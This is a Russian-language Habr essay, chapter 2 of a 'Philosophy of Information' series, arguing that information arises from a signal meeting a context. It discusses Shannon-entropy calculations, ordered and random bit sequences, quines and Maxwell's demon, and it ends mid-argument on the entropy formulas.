* [Часть 4](https://habrahabr.ru/post/330650/) | https://habr.com/ru/post/329844/ | null | ru | null |
# Философия информации, глава 2. Существование информации
*Перед прочтением этого текста рекомендуется прочитать [начало](https://habr.com/post/403225/) этой истории. Иначе будет не понятно, зачем понадобилось выстраивать сложную конструкцию вместо того, чтобы сделать как обычно, по-простому.*
**Содержание**Ранее:
[Введение | Краткая история вопроса | Глава 1. Дуализм](https://habr.com/post/403225/)
[Глава 2. Существование информации](#ch2)
[Сигналы и контексты](#ch2_1)
[Измерение информации](#ch2_2)
[«Информация» в физике](#ch2_3)
[Данные](#ch2_4)
[Информация в числе пи](#ch2_5)
[*Итоги главы*](#ch2_6)
Продолжения:
[Глава 3. Основания](https://habr.com/post/403383/)
[Глава 4. Системы](https://habr.com/post/403489/)
[Глава 5. Целенаправленно действующий субъект](https://habr.com/post/403579/)
[Глава 6. Существа](https://habr.com/post/403807/)
[Глава 7. Системообразование | Заключение](https://habr.com/post/403907/)
Глава 2. Существование информации
=================================
### Сигналы и контексты
Нам нужно научиться избавляться от иллюзии того, что информация содержится в книгах, на жёстких дисках, в кабелях, радиоволнах и прочих объектах, из которых мы привыкли её «извлекать». Если мы окончательно приняли, что реификация понятия «информация» недопустима, то мы просто вынуждены признать, что, например, читая книгу, мы обретаем информацию, но в том предмете, который мы для этого обязаны использовать, её нет. Предмет обязательно должен присутствовать (читать книгу, не имея её, невозможно), но *содержать* в себе информацию физический объект не может.
Давайте внимательно проанализируем, что происходит, когда мы читаем книгу. Безусловно имеет место некоторый физический процесс, и некоторые этапы чтения книги удобнее всего описывать именно в физических терминах. В частности, если читаем глазами бумажную книгу, то она должна существовать как материальный предмет, и должен быть обеспечен некоторый приемлемый уровень освещённости. Оптическая система «глаза» тоже должна быть, и она должна быть исправна. Использование других способов чтения (Брайль, озвучивающие программы) ситуацию меняют не особо, и в этих случаях тоже имеет смысл говорить о некоторой материальной составляющей, которая также обязана быть.
О том, что у нас, читателей, происходит в мозгу после того, как контент каким-то способом доставлен, тоже можно пытаться говорить в физических терминах, но это малоперспективно. Что-то, конечно, происходит. Материальная составляющая, вне всякого сомнения, имеет место, но способов перевести в материальные термины такую, например, простую и очевидную ситуацию, как «удивился неожиданному повороту сюжета», мы сейчас не имеем. Нельзя исключить того, что такого способа мы не будем иметь никогда. Хотя бы потому, что в разных головах механизм удивления неожиданному повороту сюжета может быть реализован по-разному.
Специфика информационных процессов, в отличие от материальных, заключается в том, что один и тот же информационный процесс может быть реализован «в материи» принципиально разными способами, но при этом оставаться самим собой. Например, сумму двух чисел можно найти при помощи электронного калькулятора, деревянный счёт, счётных палочек, листочка бумаги и ручки, или вообще в уме. Смысл и результат действия останутся одними и теми же. Книгу можно получить в бумажном виде по почте или в электронном виде по электронной почте. Способ реализации, конечно, влияет на многие нюансы, но суть и смысл происходящего остаются без изменений. Любая попытка «заземлить» информационный процесс в материальную составляющую («удивление – это *не что иное*, как внутренняя секреция дофамина», «восторг – *не что иное*, как внутренняя секреция эндорфинов») сродни тому, как если бы мы сказали, что сложение двух чисел – это *не что иное*, как перемещение деревянных костяшек по железным направляющим. Материальная реальность тотальна, поэтому любой информационный процесс обязан иметь материальный аспект, но к нему одному происходящее не может и не должно сводиться, иначе сложение чисел обязано будет стать монопольной прерогативой деревянных счёт. Переходя к рассмотрению информационного аспекта происходящего нужно уметь абстрагироваться от материального аспекта, при этом, естественно, понимая, что он безусловно есть, но каков он конкретно, нам не очень существенно.
Продолжим рассмотрение процесса чтения книги, абстрагировавшись от деталей материальной реализации происходящего. Для того чтобы читатель успешно прочитал текст, доставленный на его рецепторы, должен выполниться ряд условий. Во-первых, он должен знать язык, на котором она написана. Во-вторых, он должен уметь читать. В-третьих, он должен понимать, почему именно это занятие для него сейчас предпочтительнее всех остальных. Нетрудно заметить, что во всех перечисленных условиях речь идёт о наличии у читателя информации, ведь и «знание», и «умение», и «понимание» – это всё синонимы понятия «информация». Таким образом, для чтения книги мы имеем два комплекса условий успешного протекания процесса: наличие каким-либо способом доставляемого текста и предварительная подготовленность читателя. Условие доставки текста обозначим как требование наличия **сигнала**. Условие подготовленности читателя обозначим как требование наличия **контекста**.
Что важно, эти же два комплекса условий наблюдаются в любом процессе, который мы можем идентифицировать как обретение информации. Даже если рассмотреть такую простую штуку, как радиоуправляемый автомобильчик, получение им команд возможно только тогда, когда, во-первых, всё в порядке с доставкой радиосигнала (антенна не сломана и автомобильчик не укатился слишком далеко от пульта) и, во-вторых, блок управления автомобильчика «понимает» команды, посылаемые пультом. Получается, что даже несмотря на то, что всё, казалось бы, происходит в надёжно детерминированной «железке», всё равно важнейшим компонентом, обеспечившим успешное получение приёмником данных от передатчика, оказались знания, которые проектировщик приёмника получил от проектировщика передатчика. Именно эти знания обеспечили то, что приёмник стал материальным объектом, в котором атомы расположились не как попало, а вполне конкретным *особым образом*. Пришедшая на антенну радиоволна – отнюдь не вся информация, зашедшая в приёмник. Был ещё, возможно, электронное письмо, полученное разработчиком блока управления автомобильчика от коллеги, разрабатывавшего пульт.
Обе составляющие – и **сигнал**, и **контекст** – мы можем рассматривать и в материальном аспекте, и в информационном. Но если от информационного аспекта сигнала иногда можно абстрагироваться (особенно, когда ширина канала заведомо избыточна), то от информационного аспекта контекста, по своей сути являющего способностью интерпретировать сигнал, абстрагироваться невозможно. **Контекст – это информация о том, как можно интерпретировать сигнал**, и поэтому мы обязаны рассматривать как нематериальную сущность.
Может показаться, что в переносе загадочной нематериальности в этот какой-то загадочный «контекст» есть некоторый элемент жульничества. Но нетрудно заметить, что воспринимаемая информация и информация, составляющая контекст – это *разные* информации. Сюжет книги и знание языка, на котором она написана – это разные знания. Если получившаяся рекурсивность конструкции (для существования контекста второго порядка нужен контекст третьего порядка, и так далее вглубь, в бесконечность) вызывает некоторое беспокойство, то сразу, забегая немножко вперёд, замечу, что это не есть дефект сигнал-контекстной конструкции, а, наверно, самое ценное её свойство. Мы к этой теме вернёмся в пятой главе чтобы через рекурсивность сигнал-контекстной конструкции доказать чрезвычайно полезную теорему.
Для решения наших метафизических задач существенная выгода рассмотрения информации как того, что случается на сочетании сигнала с контекстом, заключается в том, что такая конструкция как раз получается тем самым мостиком между мирами, которого нам так не хватало. Если в какой-то конкретной ситуации нам удалось абстрагироваться от информационных аспектов сигнала (что чаще всего не составляет особого труда), мы получаем возможность рассуждать об участии материальных объектов в информационном процессе. Если при этом нам удалось ещё и контекст рассмотреть во всей полноте его двойственной природы (в наш век информационных технологий это обычное дело), то в результате мы имеем для конкретной ситуации полноценный мостик между материальным и информационным мирами. Надо сразу отметить, что наличие мостика по-прежнему не даёт нам права реифицировать информацию. Сигнал, если он рассматривается как материальный объект, может быть реифицирован (файл записан на флешке, флешка в кармане), но контекст, то есть способность интерпретации сигнала, реифицирован быть не может.
Когда рассматривается классическая с точки зрения теории информации ситуация передачи данных, мы имеем в наличии передатчик, «помещающий» информацию в сигнал и приёмник, «извлекающий» из него информацию. Возникает стойкая иллюзия того, что информация – это нечто, существующее внутри сигнала. Но нужно понимать, что интерпретация специально подготовленного сигнала – далеко не единственный сценарий обретения информации. Обращая внимание на происходящее вокруг, мы получаем очень много той информации, которую нам никто не посылал. Кресло не посылает нам информацию о том, что оно мягкое, стол не посылает информацию о том, что он твёрдый, чёрная краска на странице книги не посылает нам информацию об отсутствии фотонов, выключенное радио не посылает информацию о том, что оно молчит. Мы умеем разбираться в окружающих нас материальных явлениях, и информацией они для нас становятся потому, что у нас заранее есть контекст, позволяющий интерпретировать происходящее. Проснувшись ночью, открыв глаза и ничего не увидев, мы информацию о том, что ещё не рассвело, извлекаем не из присутствующего физического явления, а из его отсутствия. Отсутствие ожидаемого сигнала – тоже сигнал, и его тоже можно интерпретировать. А вот отсутствие контекста не может быть каким-то таким особым «нулевым» контекстом. Если нет контекста, то информации негде возникнуть, сколько бы ни пришло сигнала.
Мы все прекрасно знаем, что такое информация (у существ, обитающих в информационном скафандре, по-другому быть не может), но привыкли считать информацией только ту её часть, которая здесь обозначена как «сигнал». Контекст – штука для нас как-бы сама собой разумеющаяся, и поэтому мы её привычно выносим за скобки. А вынеся за скобки контекст, мы вынуждены всю «информацию» поместить исключительно в сигнал и, таким образом, её немилосердно реифицировать.
Нет ничего сложного в том, чтобы избавиться от реификации «информации». Нужно просто научиться вовремя вспоминать о том, что кроме сигнала всегда есть ещё и контекст. Сигнал – всего лишь сырьё, обретающее смысл (ценность, полезность, значимость и, да, информативность) только при попадании в подходящий контекст. А контекст – это штука, о которой в обязательном порядке следует говорить в нематериальных терминах (иначе это говорение точно не будет иметь смысла).
Давайте вкратце вспомним тему «свойства информации» и оценим, как эти свойства укладываются в двухкомпонентную конструкцию «сигнал-контекст».
1. **Новизна.** Если принятие сигнала совсем ничего не добавляет к информационному аспекту уже имеющегося контекста, то события интерпретации сигнала не возникает.
2. **Достоверность.** Интерпретация сигнала контекстом не должна давать ложную информацию («правда» и «ложь» – понятия, применимые к информации, но неприменимые к материальным объектам).
3. **Объективность.** То же самое, что и достоверность, но с акцентом на то, что сигнал может являться результатом работы другого контекста. Если контекст, пытающегося получить информацию, и контекст-посредник не имеют взаимопонимания (в первую очередь по преследуемым целям), то достоверности информации не будет.
4. **Полнота.** Сигнал есть, объективный, достоверный, но контексту для обретения полноценной информации его не достаточно.
5. **Ценность** (полезность, значимость). Сигнал есть, а подходящего контекста нет. Все слова понятны, но смысл не улавливается.
6. **Доступность.** Характеристика сигнала. Если сигнал добыть невозможно, то даже наличие самого прекрасного подходящего контекста не поможет информации возникнуть. Например, любой легко бы придумал, что можно сделать с точными данными о том, как закончится завтрашний футбольный матч. Но, к сожалению для многих, этот сигнал появится только после окончания матча, то есть тогда, когда его полезность и значимость будут уже далеко не те.
На мой взгляд, перечисленные выше свойства больше напоминают не свойства, а список возможных неисправностей. Свойства – это всё-таки должно быть чем-то таким, что описывает то, что нам можно ждать от рассматриваемого предмета, а на что можно не рассчитывать. Давайте попробуем вывести из конструкции «сигнал + контекст» хотя бы несколько очевидных следствий, которые, собственно, и будут свойствами не конкретно взятой информации, а информации вообще:
1. **Субъективность информации.** Сигнал может быть объективен, но контекст всегда субъективен. Следовательно, информация по природе своей может быть только субъективна. Про объективность информации можно говорить только в том случае, если удалось обеспечить единство контекста у разных субъектов.
2. **Информационная неисчерпаемость сигнала.** Один и тот же сигнал, попадая в разные контексты, даёт разную информацию. Именно поэтому можно, время от времени перечитывая любимую книгу, каждый раз обретать что-то новое.
3. **Закона сохранения информации не существует.** Совсем не существует. Нам нравится, когда предметы, которыми мы оперируем, строго подчиняются законам сохранения и не склонны появляются из ниоткуда, и уж тем более не имеют обыкновения исчезать в никуда. Информация, к сожалению, к таким предметам не относится. Мы можем рассчитывать на то, что законам сохранения может подчиняться только сигнал, но внутри сигнала информации нет и быть не может. Нужно просто свыкнуться с мыслью о том, что в нормальном режиме информация именно приходит из ниоткуда и уходит в никуда. Единственное, что мы можем сделать для того, чтобы её хоть как-то удержать – это позаботиться о сохранности сигнала (что, в принципе, не проблема), контекста (что намного сложнее, поскольку он штука изменчивая) и воспроизводимости ситуации попадания сигнала в контекст.
4. **Информация всегда является полной и безраздельной собственностью того субъекта, в контексте которого она случилась.** Книга (физический предмет) может быть чьей-то собственностью, но мысль, рождаемая её прочтением, всегда является безраздельной собственностью читателя. Впрочем, если узаконить частную собственность на души других людей, то можно будет узаконить и частную собственность на информацию. Сказанное, впрочем, не отменяет права автора считаться автором. Особенно, если это правда.
5. **Сигналу не могут быть приписаны характеристики, применимые только к информации.** Например, характеристика «истинность» может быть применена только к информации, то есть к сочетанию сигнала с контекстом. Сам сигнал не может быть ни истинным, ни ложным. Один и тот же сигнал в сочетании с разными контекстами может давать в одном случае истинную информацию, а в другом случае ложную. У меня для адептов «книжных» религий две новости: одна хорошая, а другая плохая. Хорошая: их священные книги не являются ложью. Плохая: истины они в себе тоже не содержат.
Для ответа на вопрос «где существует информация?» без применения двухкомпонентной сигнал-контекстной конструкции приходится использовать следующие популярные подходы:
1. *«Информация может существовать в материальных объектах»*. Например, в книгах. При доведении этого подхода до логической полноты неизбежно приходится признавать существование «инфорода» – тонкой субстанции, присутствующей в книгах помимо волокон бумаги и кусочков краски. Но мы знаем, как изготавливаются книги. Мы точно знаем, что никакая магическая субстанция в них не заливается. Присутствие тонких субстанций в предметах, используемых нами для обретения информации, противоречит нашему повседневному опыту. Сигнал-контекстная конструкция прекрасно обходится без тонких субстанций, но при этом даёт исчерпывающий ответ на вопрос «зачем для чтения книги нужна собственно книга».
2. *«Мир пронизан информационными полями, в тонкую структуру которых записывается всё, что мы знаем»*. Красивая и весьма поэтичная идея, но если так, то не понятно, зачем для чтения «Гамлета» нужен томик «Гамлета». Он что, работает как антенна, настроенная на специфическую Гамлетовскую волну? Мы знаем, как изготавливаются томики «Гамлета». Нам точно известно, что никаких детекторных схем, настраиваемых на приём потусторонних полей, в них не встраивается. Сигнал-контекстной конструкции не нужны никакие допущения о существовании параллельных невидимых миров. Она прекрасно обходится без этих лишних сущностей.
3. *«Информация может существовать только в наших головах»*. Очень популярная идея. Самый коварный и живучий вариант реификации. Коварность его объясняется в первую очередь тем, что никакого стройного понимания того, что происходит в наших головах, наука пока не выработала, и во мрак этой неизвестности бывает удобно прятать любые недодумки. В нашем большом и разнообразном мире бывает так, что человек пишет произведение, а потом, не успев никому его показать, умирает. А потом, по прошествии лет, рукопись находят на чердаке, и люди узнают то, о чём ни один из них всё это время не знал. Если информация может существовать только в головах, то как она может перескочить тот период времени, когда нет ни одной головы, которая ею владеет? Сигнал-контекстная конструкция объясняет этот эффект просто и естественно: если сохранился сигнал (рукопись на чердаке) и не окончательно утерян контекст (люди не разучились читать), то информация не потеряна.
Давайте посмотрим, как в идею сигналов и контекстов укладывается то, что происходит при передаче информации. Казалось бы, должно происходить нечто удивительное: на стороне передатчика информация есть, потом передатчик отдаёт приёмнику сигнал, в котором информации нет, и уже на стороне приёмника информация снова есть. Предположим, Алиса намерена попросить Боба что-то сделать. Сразу заметим, что Алиса и Боб совсем не обязательно должны быть живыми людьми. Алиса может быть, например, сервером бизнес-логики, а Боб – сервером базы данных. Суть происходящего от этого не меняется. Итак, Алиса имеет информацию, которая, конечно же, есть внутри неё сочетание сигнала и контекста. Имея эту информацию, а также информацию о том, какие сигналы умеет принимать и интерпретировать Боб, она производит в материальном мире некоторое изменение (например, пишет записку и прикрепляет магнитиком на холодильник или, если Алиса и Боб являются серверами, то задействует сетевую инфраструктуру). Если Алиса не ошиблась насчёт Боба, то Боб принимает сигнал в свой имеющийся у него контекст и обретает информацию о том, чем ему теперь следует заняться. Ключевой момент – общность контекста. Если мы говорим о людях, то общность контекста обеспечивается наличием общего языка и вовлечённостью в совместную деятельность. Если мы говорим о серверах, то общность контекстов реализуется через совместимость протоколов обмена данными. Именно общность контекстов позволяет информации как будто перепрыгнуть тот участок пути, где она существовать не может, и оказаться на стороне приёмника. Вообще говоря, информация, конечно, никуда не прыгает. О том, что Алиса обладает *той же самой* информацией, что и Боб, можно говорить только в том случае, если они обладают неразличимо одинаковыми сигналами и неразличимо одинаковыми контекстами. В жизни людей такого не бывает. Увидеть зелёный цвет *так же*, как его видит другой человек, невозможно, но возможно между собой договориться, что *такой* цвет мы между собой будем обозначать сигналом «зелёный».
Сигнал-контекстная конструкция – не совсем новость для мировой философии. Ещё 250 лет тому назад Иммануил Кант писал о том, что «наше знание (*информация?*) хоть и проистекает из опыта (*сигнал?*), но совершенно невозможно без наличия у познающего субъекта априорного знания (*контекст?*)».
### Измерение информации
Измерение информации в битах – любимое дело. Невозможно отказать себе в удовольствии порассуждать об этом, попутно примерив методику подсчёта к ставшей нам известной и, надеюсь, понятной сигнал-контекстной конструкции.
Если вспомнить классическую теорию информации, то обобщённая формула, по которой вычисляется количество информации (в битах), выглядит следующим образом:
где *n* – количество возможных событий, а *pn* – вероятность *n*-го события. Давайте подумаем, что в этой формуле к чему с точек зрения приёмника и передатчика. Передатчик может рапортовать, например, о ста событиях, из которых первое, второе и третье имеют вероятность по 20%, а оставшиеся 40% равномерно размазаны по остальным девяноста семи событиям. Нетрудно посчитать, что количество информации в рапорте об одном событии с точки зрения передатчика равно примерно 4.56 бит:
*I* = — (3 × 0.2×log2(0.2) + 97 × (0.4/97)×log2(0.4/97)) ≈ — (-1,393156857 — 3,168736375) ≈ 4.56
Не удивляйтесь, пожалуйста, дробному результату. В технике, конечно, в таких случаях приходится округлять в большую сторону, но точная величина тоже часто бывает интересна.
Если приёмник ничего не знает о распределении вероятностей (а откуда ему знать?), то с его точки зрения количество получаемой информации равно 6.64 бит (это тоже можно легко посчитать по формуле). Теперь представим себе ситуацию, что для нужд приёмника интересны только события номер 1 («казнить»), 2 («помиловать») и 100 («наградить орденом»), а всё остальное – это не интересное «прочее». Допустим, у приёмника уже есть статистика по предыдущим эпизодам, и он раскладки вероятностей знает: казнить – 20%, помиловать – 20%, наградить орденом – 0.4%, прочее – 59.6%. Считаем, получаем 1.41 бит.
Разброс получился существенный. Давайте поищем объяснение этому феномену. Если вспомнить, что информация – это не есть только лишь один объективно существующий сигнал, а сочетание «сигнал + контекст», то становится совсем не удивительно, что количество информации, возникающей при получении сигнала, также должно получаться контекстно-зависимым. Таким образом, имеем неплохое согласование сигнал-контекстной концепции с математической теорией информации.
Величина *«I»*, вычисляемая через рассмотренную формулу, обычно используется для решения следующих задач:
1. Для конструирования среды передачи данных. Если задача кодирования сформулирована как «отдать всё, что есть, но сделать это максимально эффективно», то при решении её для случая, описанного в рассмотренном примере, нужно ориентироваться на величину 4.56 бит. То есть постараться сделать так, чтобы в среднем миллион циклов передачи максимально близко укладывался в 4 561 893 бит. На то, что получится ужаться в меньший объём, рассчитывать не стоит. Математика неумолима.
2. Для понимания, насколько уменьшается неопределённость получателя при поступлении сигнала. Считается, что поступление информации уменьшает информационную энтропию приёмника на величину своего количества. Если рассматривать количество информации в этом смысле, то правильными ответами в зависимости от свойств приёмника будут 6.64 и 1.41 бит. Величина 4.56 тоже будет правильным ответом, но только в том случае, если приёмнику интересны все события и ему заранее известны их вероятности.
В подавляющем большинстве случаев, когда мы говорим о битах, байтах, мегабайтах или, например, гигабитах в секунду, мы ориентируемся на первую трактовку. Нам всем гораздо больше нравится пользоваться широкополосным Интернетом, чем чахлым dial-up-соединением. Но иногда бывает так, что нам приходится полдня просидеть в Интернете, прочитать гору текстов и просмотреть кучу видеороликов только для того, чтобы наконец-то получить на интересующий нас вопрос простой бинарный ответ в стиле «да или нет». При этом наша неопределённость уменьшается не на те десятки гигабайт, которые нам пришлось к себе прокачать, а всего лишь на один бит.
Энтропийная трактовка природы информации вызывает больше вопросов, чем даёт ответов. Даже с чисто житейской точки зрения мы видим, что минимальная неопределённость наблюдается у тех сограждан, которые не прочитали ни одной книжки, и все познавательные контакты которых с внешним миром ограничиваются просмотром телесериалов и спортивных передач. Эти уважаемые субъекты пребывают в полной счастливой определённости по всем мыслимым вопросам мироздания. Неопределённость появляется только с расширением кругозора и приобретением пагубной привычки задумываться. Ситуация, когда получение информации (чтение хороших умных книжек) увеличивает неопределённость, невозможна с точки зрения энтропийной теории информации, но с позиций сигнал-контекстной теории это вполне рядовое явление.
Действительно, если результатом принятия сигнала становится формирование нового контекста, то для его прокорма нам нужны всё новые и новые сигналы, которые удовлетворят этот контекст, но побочным действием могут сформировать новый первозданно голодный контекст. Или даже несколько.
Не меньше удивления вызывают рассуждения о том, что информация может быть как-то связана с упорядоченностью (если энтропия – это мера хаоса, то негэнтропия, то есть информация, должна быть мерой упорядоченности). Давайте рассмотрим следующие последовательности нулей и единиц:
1. `0000000000000000000000000000000000000000`. Идеальный порядок в стиле «мечта хозяйки». Но информации здесь нет, как нет её на чистом листе бумаги или только что отформатированном жёстком диске.
2. `1111111111111111111111111111111111111111`. По сути, то же самое.
3. `0101010101010101010101010101010101010101`. Уже интереснее. Порядок остался идеальным, информации по-прежнему не густо.
4. `0100101100001110011100010011100111001011`. Это я не поленился побросать монетку. 0 – орёл, 1 – решка. Бросать старался честно, и поэтому можно предположить, что получился идеальный беспорядок. Есть ли здесь информация? А если да, то о чём? Напрашивается ответ «обо всём», но если так, то как её извлечь в пригодном к использованию виде?
5. `1001100111111101000110000000111001101111`. Аналогично монетке, но только через генератор псевдослучайных чисел.
6. `0100111101110010011001000110010101110010`. Тоже похоже на такую же случайную ерунду, но это не она. Ниже скажу, что это.
Если убрать текстовые комментарии и загадать загадку, что из этого могло быть результатом бросания монетки, то первые три варианта отпадут сразу. 5-й тоже под подозрением, потому что единиц больше, чем нулей. Это неправильное рассуждение. При честном бросании монетки выпадение всех этих вариантов имеет одинаковую вероятность, равную 2-40. Если я продолжу бросать монетку без сна и отдыха в надежде воспроизвести хотя бы один из шести представленных вариантов, то можно ожидать, что если мне повезёт, примерно через сто тысяч лет мне это удастся. Но какой конкретно из этих вариантов воспроизведётся первым, предсказать невозможно, поскольку они все равновероятны.
Шестым пунктом, кстати, представлено слово «Order» (то есть «порядок») в восьмибитном ACSII-коде.
Получается, что информации нет ни в идеальном порядке, ни в идеальном беспорядке. Или всё-таки есть? Представьте себе, что идеально беспорядочная последовательность нулей и единиц (№4), получена путём бросания монетки не мной, а сотрудником шифровального центра вражеской армии, и сейчас используется как кусок секретного ключа, которым шифруются депеши. В этом случае эти нолики и единички сразу перестают быть бессмысленным цифровым хламом, и сразу становятся суперважной информацией, за которую дешифровальщики будут готовы продать душу. Ничего удивительного: сигнал обрёл контекст, и, таким образом, стал весьма информативным.
У меня нет ни малейшего желания утверждать, что энтропийная теория информации полностью не верна. Есть ряд узкоспециальных применений, в которых она даёт адекватный результат. Нужно просто чётко понимать границы её применимости. Можно предположить, что одним из ограничений должно стать требование, чтобы принимаемый сигнал не приводил к формированию контекста. В частности, этому критерию соответствует большинство средств связи. О выделении сигнала из шума действительно можно говорить как о борьбе с энтропией.
Измерение информации имеет ещё один аспект, о котором лучше не забывать. Результатом любого единичного измерения является число. В нашем случае это биты, байты, гигабайты. Получив число, мы обычно рассчитываем на то, что дальше сможем им привычным нам образом оперировать. Сравнивать на «больше/меньше», складывать, умножать. Рассмотрим два примера применения операции «сложение» к количествам информации:
1. Есть две флешки. Первая – 64 ГБ, вторая – 32 ГБ. Итого у нас есть возможность записать на них 96 ГБ. Всё так, всё честно и корректно.
2. Есть два файла. Первый – 12 МБ, второй – 7 МБ. Сколько у нас всего информации? Рука тянется сложить и получить 19 МБ. Но не будем спешить. Для начала скормим эти файлы архиватору. Первый файл сжался до 4 МБ, второй до 3 МБ. Можем ли мы теперь сложить числа и получить суммарный *истинный* объём имеющихся данных? Я бы предложил не спешить и посмотреть глазами на содержимое исходных файлов. Смотрим и видим, что всё содержимое второго файла имеется в первом файле. Получается, что размер второго файла вообще нет смысла прибавлять к размеру первого. Если бы первый файл был другим, тогда сложение имело бы смысл, но в данном конкретном случае второй файл ничего к первому не прибавляет.
С точки зрения количества информации очень интересной получается ситуация с квайнами – программами, одной из функций которых является выдача собственного исходного кода. Кроме этой функции такая программа может содержать в себе что-нибудь ещё: какой-нибудь полезный алгоритм, тексты, изображения и тому подобное. Получается, что внутри программы есть это «что-то ещё», и в довесок к этому, есть она же сама, внутри себя содержащая ещё раз всю саму себя целиком плюс то самое «что-то ещё». Это можно выразить вот такой формулой: A = A+B, где B не равно нулю. Для аддитивных величин такое равенство существовать не может.
Таким образом, с количеством информации получается очень странная ситуация. Можно сказать, что количество информации – условно-аддитивная величина. То есть в некоторых случаях мы имеем право складывать имеющиеся числа, а в некоторых – нет. Когда речь идёт о ёмкости канала передачи данных (в частности, флешка вполне может рассматриваться как канал передачи данных из прошлого в будущее), то сложение корректно, а при «взвешивании» конкретного сигнала мы получаем величину, возможность сложения которой с другими ей подобными величинами определяется внешними факторами, о существовании которых мы можем даже не знать. Например, об информационной ёмкости генома человека (ДНК можно рассматривать как среду передачи данных, и, насколько мне известно, есть группы исследователей, пытающиеся сконструировать накопители на основе ДНК) говорить можно, и она равна примерно 6.2 Гбит, но любой ответ на вопрос *«сколько информации записано конкретно в моём геноме?»* будет бессмысленным. Максимум, что можно утверждать – это то, что какая бы методика подсчёта ни была применена, результат не может превышать те самые 6.2 Гбит. Или, если реальность вдруг такова, что нужно учитывать не только последовательность нуклеотидных оснований, то может. Если же говорить об общем количестве информации, содержащейся в живой клетке, то, по-видимому, ответ на этот вопрос вообще не может быть получен в силу хотя бы того, что сама по себе клетка является живым существом, а не средой передачи данных.
В завершение темы «измерение информации» хотелось бы ввести понятие «класс информативности», позволяющий оценить объём информации если не количественно, то хотя бы качественно:
1. **Конечная информативность** – ситуация, когда весь необходимый контексту сигнал может быть закодирован дискретной последовательностью конечной длины. Именно для таких ситуаций применимо измерение информации в битах. Примеры:
* Текст «Гамлета».
* Все дошедшие до нас тексты, когда-либо сочинённые человечеством.
* Информация в геноме.
Имеющиеся сейчас информационные технологии работают именно с конечными информативностями.
2. **Бесконечная информативность** – ситуация, когда для кодирования сигнала требуется дискретная последовательность бесконечной длины, и любое ограничение («сжатие с потерями») до конечной длины неприемлемо. Пример: данные о положении шаров, которые нужно сохранять при идеальном моделировании бильярда с тем, чтобы если потом запустить процесс в обратном направлении, сложилась исходная позиция. В данном случае скорости и положения шаров нужно иметь с бесконечной точностью (бесконечное количество знаков после запятой) так как в силу имеющихся сильных нелинейностей ошибка в любом знаке имеет свойство накапливаться и приводить к качественно другому результату. Аналогичная ситуация возникает при численном решении нелинейных дифференциальных уравнений.
Несмотря на кажущуюся запредельность, нет никаких фундаментальных причин тому, чтобы с развитием технологий мы не обрели средства, позволяющие работать с бесконечными информативностями.
3. **Неразрешимая информативность** – ситуация, при которой требуемые данные не могут быть получены никаким способом в силу фундаментальных ограничений либо физического, либо логического характера. Примеры:
* Невозможно узнать, что вчера произошло на звезде, удалённой от нас на 10 световых лет.
* Невозможно одновременно с абсолютной точностью узнать импульс и положение частицы (квантовая неопределённость).
* Находясь в ситуации принятия решения, субъект не может заранее знать, какое конкретно из имеющихся альтернатив решение он примет. В противном случае (если ему решение известно) он не находится в ситуации принятия решения.
* Полное детерминистическое описание Вселенной не может быть получено никаким образом. Против этого работает сразу весь комплекс фундаментальных ограничений – и физических, и логических. Плюс к ним добавляются эффекты, связанные с парадоксом брадобрея.
Если по поводу физических ограничений ещё остаётся некоторая надежда на то, что уточнение картины реальности позволит перевести некоторые казавшиеся неразрешимыми информативности в конечные или хотя бы в бесконечные, то логические ограничения не могут быть преодолены ни при каком развитии технологий.
### «Информация» в физике
Исторически связь темы «информация» с темой «энтропия» возникла из рассуждений о демоне Максвелла. Демон Максвелла – фантастическое существо, сидящее возле дверцы в стенке, разделяющей две части камеры с газом. Когда слева прилетает быстрая молекула, он дверцу открывает, а когда медленная – закрывает. А если справа прилетает быстрая, он дверцу закрывает, но если медленная – открывает. В результате слева скапливаются медленные молекулы, а справа – быстрые. Энтропия замкнутой системы растёт, и на генерируемой демоном разнице температур мы к своему удовольствию можем запустить вечный двигатель второго рода.
Вечный двигатель невозможен, и поэтому для того, чтобы привести ситуацию в соответствие с законом сохранения энергии, а заодно в соответствие с законом неубывания энтропии, пришлось рассуждать следующим образом:
1. Когда работает демон, энтропия газа уменьшается.
2. Но при этом, поскольку молекулы взаимодействуют с демоном, газ не является изолированной системой.
3. В качестве изолированной системы нужно рассматривать систему «газ + демон».
4. Энтропия изолированной системы не может уменьшаться, поэтому энтропия плюс энтропия демона не уменьшается.
5. Из этого следует, что энтропия демона растёт.
Пока всё логично. Но что может значить «энтропия демона растёт»? Демон получает информацию (работаем пока в традиционной терминологии) о приближающихся молекулах. Если информация – это отрицательная энтропия, то энтропия демона должна уменьшаться, а не расти. Предположим, что демон выполняет нехитрое умственное усилие, и через механизм дверцы передаёт информацию на летящую молекулу (или, как вариант, не передаёт). Отрицательная энтропия возвращается в молекулу, и тем самым уменьшает энтропию газа. Но почему растёт энтропия демона? Почему мы учитываем только исходящий от демона информационный поток, но не учитываем входящий? Что будет, если демон не будет забывать сразу о том, какие сигналы он получил от прилетающих молекул, а будет их запоминать? Можно ли в этом случае говорить о том, что энтропия демона не увеличивается?
Норберт Винер, рассматривая демона Максвелла («Кибернетика») пишет, что вечный двигатель собрать на этой штуке не получится, потому что рано или поздно возрастающая энтропия демона достигнет критического предела, и демон испортится. В принципе, это логично, но вряд ли порчу демона следует объяснять тем, что он раздаст свою изначальную мудрость молекулам, и сам станет глупым. С информационной точки зрения работа демона очень простая и нудная. Ни о какой «растрате душевных сил» говорить не приходится. Точно так же мы не говорим, что, например, каждый пропускаемый через программу архиватора файл увеличивает энтропию архиватора и тем самым постепенно снижает его способность сжимать данные. Скорее всего, невозможность вечного двигателя на демоне Максвелла должна объясняться не информационно-технологическими соображениями, а тем, что энергетический выигрыш от манипулирования молекулой не может превышать энергетические затраты на выяснение параметров подлетающей молекулы плюс затраты на манипулирование дверцей.
Формулы, по которым считаются термодинамическая и информационная энтропии в целом похожи. Термодинамическая энтропия (сравните с формулой (1) выше):
где *pi* – вероятность *i*-го состояния, а *kB* – постоянная Больцмана. Но данная формула неизбежно завязана на то, что существует субъект, который проклассифицировал состояния и выделил конечное количество интересующих его групп. Если попытаться избавиться от заинтересованного субъекта, то можно обнаружить, что есть высокий риск того, что правильным образом выражение должно быть записано так:
При этом общая вероятность равна 1 (система обязательно находится в каком-то из состояний):
Бесконечное количество возможных состояний гораздо ближе к правде жизни, чем конечное. Нетрудно показать, что если в рассматриваемой системе не стремится к нулю процент состояний *x*, у которых вероятность *px* не равна нулю, интегральная энтропия стремится к бесконечности. В терминах формулы (2):
